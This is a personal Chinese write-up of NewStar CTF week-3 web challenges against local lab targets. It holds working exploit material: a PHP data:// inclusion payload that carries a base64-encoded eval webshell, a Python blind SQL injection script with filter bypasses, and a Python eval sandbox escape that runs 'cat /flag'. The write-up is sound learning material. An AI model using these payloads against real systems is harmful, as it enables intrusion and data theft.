NewStar CTF week3 web wp
week3
include me
题目打开过5秒就会自动跳转,赶紧冲手速把代码复制下来
<?php
highlight_file(__FILE__);
function waf(){
if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
die("兄弟你别包");
};
}
if(isset($_GET['phpinfo'])){
phpinfo();
}
//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}
waf();
include $_GET['me'];
echo "兄弟你好香";
?>
传入参数iknow就可以防止跳转,看一下绕过,大致都被禁用了,根据伪协议提示想到data协议,但是php也被禁用了,于是只能翻文档,找到编码绕过
payload:
http://127.0.0.1:63097/?iknow=1&data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
看wp时发现一些细节需要注意
- 编码后最后不能是+,会被解析成空格
- 如果密文中带=号被过滤,可以采取明文前多加几个空格的方法
blindsql1
提示盲注,进来随便尝试一下,发现不给回显,一些关键词可能被禁用
测试一下,发现空格,union,=,/都被过滤了
- =号的绕过可以用like或in
- 空格和/的绕过可以用括号
- and前面是字符串或者括号可以不加空格
写一个盲注脚本,利用name=alice and 猜测值=实际值,如果猜对,and后面是true,alice的信息会被带出,注意要在alice的后面加上’来闭合
记录一下写脚本时候踩的坑
- 当用like或in代替=时,两边的数据都要加上(),不然会被识别成一整个字符串
- ord(c)一定要放到{}里面,因为这是python的代码,sql不会执行
import string,time,tqdm,requests
url='http://127.0.0.1:62459/'
result=''
for i in tqdm.trange(1,100):
for c in string.digits+string.ascii_letters+'_-':
time.sleep(0.2)
tables='(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(database())))'
char=f'ord(mid({tables},{i},1))'
bl=f'(({char})in({ord(c)}))'
p=f'Alice\'and({bl})#'
response=requests.get(url,params={'student_name':p})
if 'Alice' in response.text:
result+=c
print(result)
break
到25时爆破速率明显减慢,猜测只有这几张表
courses,secrets,students
接下来爆破secrects列名
随后在三列中翻翻flag
for i in tqdm.trange(1,100):
for c in string.digits+string.ascii_letters+string.punctuation:
time.sleep(0.2)
tables='(select(group_concat(secret_value))from(secrets)where((secret_value)like(\'flag%\')))'
char=f'ord(mid({tables},{i},1))'
bl=f'(({char})in({ord(c)}))'
p=f'Alice\'and({bl})#'
response=requests.get(url,params={'student_name':p})
if 'Alice' in response.text:
result+=c
print(result)
break
臭皮的计算机
根据提示进入到/calc,随便测一下,发现会返回报错信息,且输出使用print(eval),测试system,有特殊信息,说明应该是要绕过执行命令
连续测了system,shell_exec,phpinfo,似乎全都被禁用了,开源代码看一下,发现能看到代码逻辑,且字母全被过滤了
做不下去了,开wp看一看,提到用全角字符绕过,Google一下
因为是python脚本,所以不能直接用system,在这里也是学到一个新姿势
转为全角字符时报错,猜测是因为括号内字符不能继续用全角,采用chr函数或八进制绕过
str='oscatflag'
res=''
for i in str:
res+=f'chr({ord(i)})+'
print(res)
结果又被禁用了,看wp一下子想通了,全角字符在当作函数名或者import使用时可以正常运行,所以数字和括号需要用半角字符
_import_(chr(111)+chr(115)).system(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))
臭皮踩踩背
这道题似乎出什么问题了
这照片是你吗
触及到知识盲区了,顺着wp做一做
静态文件的提示,说明应该去找可读文件,随后,从响应标头里找到疑似flask框架的信息
随后,根据flask框架,猜测主程序名是app.py
路径穿越回根目录看一下,被禁止访问了,但是可以访问下级目录,试试看一些默认位置
之后因为本地抓包的配置一直没弄好,就一直卡在这里了